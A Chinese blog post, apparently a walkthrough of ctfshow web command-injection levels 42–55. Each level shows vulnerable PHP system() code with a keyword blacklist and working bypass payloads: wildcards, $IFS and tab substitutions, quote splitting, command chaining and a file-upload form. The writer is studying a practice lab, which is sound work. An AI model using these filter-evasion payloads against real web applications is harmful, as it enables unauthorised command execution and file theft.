ctfshow web入门 命令执行 42-55

42-55 都是基于 GET 方式传参执行 system() 函数

重点

  空格绕过

  查看文件内容命令

  关键字绕过

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

 要求:正确执行不显示,错误执行显示错误信息

知识点

  1、system($c." >/dev/null   2>&1");

    将 $c 执行结果输出到 /dev/null,将错误信息正常显示

  2、截断方法:&&、||、%0a 等

 

重点在于如何构造错误信息,也就是截断

payload

c=cat flag.php; //这里使用 ; 截断,需查看页面源代码

 

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

要求:在 42 的基础上使用黑名单匹配,禁止使用分号、cat

知识点

  1、查看文件内容命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi

  2、分号:代表语句的结束,?> 代表 PHP 脚本的结束。理论上可以用 ?> 代替 ; ,但实际不可以,因为这里使用 ; 实现语句错误,而 ?> 不会造成语句错误

payload

c=tail flag.php%0a    //屏蔽分号没用,只需要造成错误信息就行,用 %0a 截断

 

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

黑名单增加 flag

知识点

  1、linux中的关键字绕过:‘’、“”、\、?、* 

   2、通配符:?、*、[]   []一般不用,原因见

payload

c=tail fla\g.php%0a

 

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

黑名单增加 空格

知识点

  空格绕过:<、<>、{}

      $IFS:${IFS}、$IFS$q、$IFS\、$IFS'f'、$IFS?、

      %09(tab水平)、%0a(换行)、%0b(tab垂直)、%0c(新一页)、%a0(空格)

  web48 黑名单提供 payload:awk 命令cut 命令sed 命令

payload

c=tail%09f*%0a  // < 和 <>,不能与 ? * 一起使用

//由后面 web48 的黑名单提供的 payload
c=awk%09'{print%09$0}'%09fl?g.php%0a    
c=cut%09-c1-%09fl?g.php%0a
c=sed%09'1,9p'%09fl?g.php%0a

 

 

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

 黑名单增加 数字、$、*,屏蔽 空格绕过中的:${IFS}、$IFS$9   与通配符 *

payload

c=tac%09fl?g.php%26%26tac%09fl?g.php    // & 的url编码为 %26 
                        //%26 %09 都是url编码,虽然黑名单增加了数字,但那属于后端黑名单检测,不影响url编码

 

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

黑名单增加很多命令,但都是文件查看命令,此外我们还有 tac、nl、paste、rev、uniq、grep、od、vi

  web48 黑名单提供 payload:strings 命令

payload

 

c=uniq%09fl?g.php%0a    //这里使用 %0a 截断,需要查看源代码


// 这里使用 || 截断
c=tac%09fl?g.php||
c=tac%09fl?g.php||tac%09fl?g.php
c=ca''t<fl''ag.php||    //也可以利用单双引号,反斜杠绕过,这里使用 < 代替空格

//这里使用 && 截断  
//注意:& 在 url 中作为连接符,需要对其进行 url 编码
//url 会将 %26 识别为 &
//将 %26 识别为 &,并将 & 作为连接符,这是两个动作,需两次 url
c=grep%09show%09fl?g.php%26%26
c=grep%09show%09fl?g.php%26%26grep%09show%09fl?g.php

//这是 web48 中黑名单提供的 payload ,需查看源代码
c=strings%09fl?g.php%0a

 

 

 

 

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

黑名单增加 sed、cut、awk、strings、od、curl、反引号(``),还有 tac、nl、paste、rev、uniq、grep、vi

  对于 sed、cut、awk 用法在 web45 体现

  对于 strings 在web47 体现

  反引号作用类似于 system() ,od 读取内容以二进制方式显示,curl 不会用,还请指教

  awk 命令cut 命令sed 命令strings 命令

payload

c=tac%09fl?g.php%0a

 

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

屏蔽 %09 %26 ,主要屏蔽 url 编码

  空格绕过还可用:<   <>

  关键字绕过还可以用:?    ''    ""    \

payload

c=tac<f''lag.php||
c=tac<>f\lag.php||
//这里 < 和 <> 可以与 ''  ""  \ 任意组合,但不能与 ? 组合,原因不明

 

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

0x09、0x26、\x09、\x26 为 ascii 码,但在前面关卡中怎么利用 ascii 码,由于水平受限,没有尝试出来

payload

//与 web49 别无二致
c=tac<f\lag.php||

 

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

黑名单多了个 tac,还有 nl、paste、rev、uniq、grep、vi

payload

c=uniq<f\lag.php||
c=ca''t<f\lag.php||

 

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

黑名单增加 <> ,剔除 $

  因此,可用的空格绕过方式:{}、$IFS

payload

c=uniq${IFS}f\lag.php||

发现假 flag ,很明显要么 flag 的位置变了,要么 flag 文件名变了

c=ls${IFS}../||    //利用 ls 一层层查看

最后在 ../../../ 目录下,也就是根目录下找到 flag

c=ls${IFS}../../../||

payload

c=c''at${IFS}/fl''ag||
c=uniq${IFS}../../../fla\g||

 

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

黑名单增加 wget 

  我在 web52 试了试 wget 但只能下载 index.php 而 flag.php 没有内容,水平受限没试出来,师傅是真的牛

 

代码删除了 >/dev/null 2>$1,不需要截断报错,这里正常输出

payload

c=uniq${IFS}fl''ag????    //我以为 flag 换到根目录去了,结果 flag 路径没换

 

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

黑名单增加 scp、rm(不理解为什么会出现 rm,还是说用 rm 删除index.php,再用 scp 上传一个自己写的 index.php ,妥妥炫技)

    但不能完整出现 cat、flag、more、wget、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、nl、scp、rm

payload

//利用 mv 命令将 flag.php 改名,再读取
c=mv${IFS}fl?g.php${IFS}q.txt    
c=uniq${IFS}q.txt   或   url/q.txt

//朴实无华
c=grep${IFS}show${IFS}fl??????

 

web55

这道题不太一样属于无字母无数字的webshell的类型,但只是无字母有数字,有其他解法,因此放于此

关于这类题可以看看p神的文章

  无字母数字webshell之基础篇

  无字母数字webshell之提高篇

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

黑名单真狠,所有字母全部屏蔽,但把数字和空格留出来,其他师傅用了三种办法:base64 命令、bzip2 命令、shell 脚本

知识点

  1、linux 中的执行命令在 /bin 文件

    在 linux 中执行 ls、cat、rm 等命令都是调用 /bin 文件里的命令,执行 ls 跟执行 /bin/ls 是一样的

    /bin 文件中包含 base64、bzip2,这是这道题的关键

  2、使用通配符,可指定匹配范围

  3、php 临时目录命名规则:phpaaaaaA(php+5位小写+1位大写)

  4、ASCII 码值  a-97  A-65   [A-Z] 指 65-90 这个范围   

    @-64  [-91,[@-[] 指 64-91 这个范围,其中包含大写字母 A-Z

payload

1、利用 base64 加密
c=/???/????64 ????.???  //出现被 base64 加密后的文件,需要进行 base64 解密
//等同于 /bin/base64 flag.php    因为所用命令跟文件具有唯一性,因此可以使用通配符进行匹配

2、利用 bzip2打包,然后访问打包文件
c=/???/???/????2 ????.???    //对 flag.php 进行打包,默认打包后缀 bz2
                  //访问 url/flag.php.bz2,进行下载,获取 flag
//等同于/usr/bin/bzip2 flag.php

 

3、上传脚本先要制作一个提交脚本,form 表单的 action 的网站需要更改(仅供参考)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://309b7546-2e5a-4045-bb70-a205fa880913.challenge.ctf.show" method="post" enctype="multiport/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

然后抓包,修改请求头、请求体,我本地抓到的包不太一样,一添加 c 的参数就出错,这张图是其他师傅的,图片来源

同时附上一个视频讲解

 

posted @ 2023-03-09 16:10  kazie  阅读(271)  评论(0编辑  收藏  举报